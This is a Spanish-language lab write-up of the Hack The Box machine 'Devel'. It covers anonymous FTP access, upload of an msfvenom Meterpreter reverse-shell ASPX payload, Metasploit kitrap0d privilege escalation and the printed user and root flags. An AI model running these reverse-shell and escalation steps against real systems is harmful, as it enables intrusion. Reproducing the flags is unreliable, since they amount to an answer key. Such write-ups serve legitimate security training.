Devel [EASY🟢]
Dificultad: Fácil
Última actualización
Dificultad: Fácil
Última actualización
1.1 Ping❯ ping -c 1 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=169 ms
--- 10.10.10.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 168.694/168.694/168.694/0.000 msPodemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)1.2 Nmap❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.10.5 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 16:58 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:58
Completed Parallel DNS resolution of 1 host. at 16:58, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:58
Scanning 10.10.10.5 [65535 ports]
Discovered open port 80/tcp on 10.10.10.5
Discovered open port 21/tcp on 10.10.10.5
Completed SYN Stealth Scan at 16:59, 26.46s elapsed (65535 total ports)
Initiating Service scan at 16:59
Scanning 2 services on 10.10.10.5
Completed Service scan at 16:59, 6.71s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.5.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:59
NSE: [ftp-bounce 10.10.10.5:21] PORT response: 501 Server cannot accept argument.
Completed NSE at 16:59, 5.18s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 1.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-23 16:58:55 -03 for 40s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.26 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 20 (880B)Vemos el puerto 21(Microsoft ftpd), correspondiente a un servidor FTP(File Transfer Protocol) que tiene como defecto el usuario "Anonymous", tambien el puerto 80 correspondiente a un servidor web(Microsoft IIS httpd 7.5)
1.3 whatwebhttp://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]Tecnologias web utilizadas por la pagina web:
Microsoft-IIS/7.5
X-Powered-By[ASP.NET] --> (.aspx)1.4 Fuzzing❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.5/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.5/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 31 L 53 W 689 Ch "# directory-list-2.3-medium.txt"
000000008: 200 31 L 53 W 689 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000007: 200 31 L 53 W 689 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000004: 200 31 L 53 W 689 Ch "#"
000000002: 200 31 L 53 W 689 Ch "#"
000000006: 200 31 L 53 W 689 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000005: 200 31 L 53 W 689 Ch "# This work is licensed under the Creative Commons"
000000009: 200 31 L 53 W 689 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000012: 200 31 L 53 W 689 Ch "# on atleast 2 different hosts"
000000010: 200 31 L 53 W 689 Ch "#"
000000013: 200 31 L 53 W 689 Ch "#"
000000003: 200 31 L 53 W 689 Ch "# Copyright 2007 James Fisher"
000000014: 200 31 L 53 W 689 Ch "http://10.10.10.5/"
000045240: 200 31 L 53 W 689 Ch "http://10.10.10.5/"
000000011: 200 31 L 53 W 689 Ch "# Priority ordered case sensative list, where entries were found"
000204549: 400 6 L 26 W 324 Ch "%D2"
Total time: 310.9713
Processed Requests: 220560
Filtered Requests: 220544
Requests/sec.: 709.2614Dentro del fuzzing, no encontramos nada relevante
2.1 Usuario AnonymousSi volvemos al reporte de Nmap, podremos ver que el puerto 21 tiene el usuario "Anonymous" habilitado, donde podremos logearnos mediante FTP sin una contraseña, de tal manera que el usuario es "Anonymous" y la contraseña la dejamos en blanco:
❯ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:t0mz): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> Vamos a ejecutar un "dir" para listar los directorios dentro del servidor FTP:
ftp> dir
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
ftp> Esto corresponde a la pagina web que se encuentra alojada en el servidor web por el puerto 80:
Podriamos crear un script en ".ASPX" malicioso que nos de una reverse shell
2.2 Reverse shell ASP .NET mediante el puerto FTP utilizando msfvenomVamos a crear el script malicioso de ASP .NET que nos de la reverse shell a netcat utilizando la herramienta msfvenom con el siguiente comando:
msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP HTB} LPORT={Puerto destino} -f aspx -o pwned.aspxEn mi caso quedaria asi:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=443 -f aspx -o pwned.aspxEjecutamos:
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o pwned.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2865 bytes
Saved as: pwned.aspxAhora vamos a abrir una nueva ventana de shell para poner en escucha Metasploit Framework con el payload que utilizamos a la hora de la creación del exploit en este caso "windows/shell_reverse_tcp"
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o pwned.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2865 bytes
Saved as: pwned.aspxY vamos a subir mediante FTP el archivo malicioso que acabamos de crear llamado "pwned.aspx" con el comando de FTP llamado "put"
ftp> put pwned.aspx
local: pwned.aspx remote: pwned.aspx
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
100% |**********************************************| 2760 26.32 MiB/s --:-- ETA
226 Transfer complete.
2760 bytes sent in 00:00 (15.70 KiB/s)
ftp> Y ahora vamos a poner en escucha Metasploit Framework por el puerto 4444 como le indicamos al exploit los parametros LPORT y LHOST, de la siguiente manera:
❯ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.12:4444 Vamos al navegador Firefox y ingresamos la URL correspondiente al archivo malicioso que acabamos de subir:
10.10.10.5/pwned.aspxIngresamor la URL:
Volvemos a la consola donde teniamos Metasploit Framework en escucha por el puerto 4444:
❯ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Sending stage (177734 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.5:49168) at 2025-02-23 18:13:23 -0300
meterpreter > Vamos a abrir una shell de Windows en meterpreter
Vamos a la ruta donde podria encontrarse la flag normalmente:
c:\windows\system32\inetsrv>cd ..\..\..\Users\
cd ..\..\..\Users\Listamos y entramos a cualquier usuario:
c:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Users
18/03/2017 01:16 <DIR> .
18/03/2017 01:16 <DIR> ..
18/03/2017 01:16 <DIR> Administrator
17/03/2017 04:17 <DIR> babis
18/03/2017 01:06 <DIR> Classic .NET AppPool
14/07/2009 09:20 <DIR> Public
0 File(s) 0 bytes
6 Dir(s) 4.673.765.376 bytes free
c:\Users>cd babis
cd babis
Access is denied.
c:\Users> Vemos que no tenemos permisos para ingresar a los usuarios
Vamos a buscar la versión de Windows que corre esta maquina, para eso vamos a utilizar el comando "systeminfo":
c:\Users>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31
System Boot Time: 23/2/2025, 9:54:51
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.457 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.536 MB
Virtual Memory: In Use: 605 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection 4
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.5
[02]: fe80::e489:6af5:b95:a0c2
[03]: dead:beef::7d17:26f3:ed35:7f30
[04]: dead:beef::e489:6af5:b95:a0c2
c:\Users>3.1 Escalado de privilegios en Windows 7 Enterprise 6.1 Build 7600Vamos a salir de la shell para volver a la shell de Meterpreter:
c:\Users>exit
exit
meterpreter > Y vamos a poner en background o en segundo plano la shell de meterpreter con CTRL + Z:
c:\Users>exit
exit
meterpreter >
Background session 2? [y/N]
msf6 exploit(multi/handler) > Y vamos a utilizar el modulo local de post explotación de Metasploit Framework "post/multi/recon/local_exploit_suggester" para que nos recomiende un exploit local para elevar privilegios:
msf6 exploit(multi/handler) > search exploit suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the av
ailable exploits
View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > Vamos a setear la sesión de meterpreter(En mi caso la sesion 2):
msf6 post(multi/recon/local_exploit_suggester) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.12:4444 -> 10.10.1
0.5:49170 (10.10.10.5)
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > Y vamos a ejecutar el modulo con el comando "run" para que nos empieze a analizar potenciales exploits que podriamos utilizar en esta maquina:
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 203 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.5 - Valid modules for session 2:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
3 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
4 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
5 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
6 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
7 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
8 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
9 exploit/windows/local/ms15_004_tswbproxy Yes The service is running, but could not be validated.
10 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
11 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
12 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
13 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
14 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable.
15 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
16 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
17 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
18 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
19 exploit/windows/local/always_install_elevated No The target is not exploitable.
20 exploit/windows/local/anyconnect_lpe No The target is not exploitable. vpndownloader.exe not found on file system
21 exploit/windows/local/bits_ntlm_token_impersonation No The target is not exploitable.
22 exploit/windows/local/bthpan No The target is not exploitable.
23 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
24 exploit/windows/local/bypassuac_sluihijack No The target is not exploitable.
25 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
26 exploit/windows/local/cve_2020_1048_printerdemon No The target is not exploitable.
27 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
28 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
29 exploit/windows/local/ikeext_service No The check raised an exception.
30 exploit/windows/local/ipass_launch_app No The check raised an exception.
31 exploit/windows/local/lenovo_systemupdate No The check raised an exception.
32 exploit/windows/local/lexmark_driver_privesc No The target is not exploitable. No Lexmark print drivers in the driver store
33 exploit/windows/local/mqac_write No The target is not exploitable.
34 exploit/windows/local/ms14_070_tcpip_ioctl No The target is not exploitable.
35 exploit/windows/local/ms_ndproxy No The target is not exploitable.
36 exploit/windows/local/novell_client_nicm No The target is not exploitable.
37 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
38 exploit/windows/local/panda_psevents No The target is not exploitable.
39 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
40 exploit/windows/local/tokenmagic No The target is not exploitable.
41 exploit/windows/local/virtual_box_guest_additions No The target is not exploitable.
42 exploit/windows/local/webexec No The check raised an exception.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > En nuestro caso, vamos a utilizar en concreto el siguiente exploit:
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.Seleccionamos el modulo y listamos las opciones necesarias para la ejecución correcta del exploit:
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options
Module options (exploit/windows/local/ms10_015_kitrap0d):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proces
s, none)
LHOST 192.168.8.15 yes The listen address (an interface may be specified
)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7 (x86)
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms10_015_kitrap0d) > Seteamos la opciones indicadas, en mi caso la sesión es la numero 2:
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms10_015_kitrap0d) > Y ejecutamos el modulo:
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Reflectively injecting payload and triggering the bug...
[*] Launching netsh to host the DLL...
[+] Process 1592 launched.
[*] Reflectively injecting the DLL into 1592...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (177734 bytes) to 10.10.10.5
[*] Meterpreter session 3 opened (10.10.14.12:4444 -> 10.10.10.5:49172) at 2025-02-23 18:30:02 -0300
meterpreter > Abrimos una shell:
meterpreter > shell
Process 3304 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>Y nos vamos a la ruta de users:
c:\windows\system32\inetsrv>cd ..\..\..\Users\
cd ..\..\..\Users\
c:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Users
18/03/2017 01:16 <DIR> .
18/03/2017 01:16 <DIR> ..
18/03/2017 01:16 <DIR> Administrator
17/03/2017 04:17 <DIR> babis
18/03/2017 01:06 <DIR> Classic .NET AppPool
23/02/2025 11:02 <DIR> Public
0 File(s) 0 bytes
6 Dir(s) 4.671.700.992 bytes free
c:\Users>Ahora vamos a probar irnos a la carpeta del Administrador y listar los directorios:
c:\Users>cd Administrator
cd Administrator
c:\Users\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Users\Administrator
18/03/2017 01:16 <DIR> .
18/03/2017 01:16 <DIR> ..
18/03/2017 01:16 <DIR> Contacts
14/01/2021 11:42 <DIR> Desktop
18/03/2017 01:16 <DIR> Documents
18/03/2017 01:16 <DIR> Downloads
18/03/2017 01:16 <DIR> Favorites
18/03/2017 01:16 <DIR> Links
18/03/2017 01:16 <DIR> Music
18/03/2017 01:16 <DIR> Pictures
18/03/2017 01:16 <DIR> Saved Games
18/03/2017 01:16 <DIR> Searches
18/03/2017 01:16 <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 4.671.700.992 bytes free
c:\Users\Administrator>3.2 Obtención de la flag de usuarioComo vemos, ya tenemos acceso de Administrador, ahora vamos a reclamar la flag de usuario que se encuentra en la siguiente ruta "c:\Users\babis\Desktop":
c:\Users\babis\Desktop>cd "c:\Users\babis\Desktop"
cd "c:\Users\babis\Desktop"
c:\Users\babis\Desktop>type user.txt
type user.txt
e2aff94d5823d9bfeac20d5c8de3ab6c
c:\Users\babis\Desktop>3.3 Obtención de la flag de rootLa flag de root, se encuentra dentro del directorio "c:\Users\Administrator\Desktop"
c:\Users\Administrator\Desktop>cd "c:\Users\Administrator\Desktop"
cd "c:\Users\Administrator\Desktop"
c:\Users\Administrator\Desktop>type root.txt
type root.txt
83304247d2d00db42698cd4183d4da1a
c:\Users\Administrator\Desktop>Con esto, concluimos la maquina "Devel" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
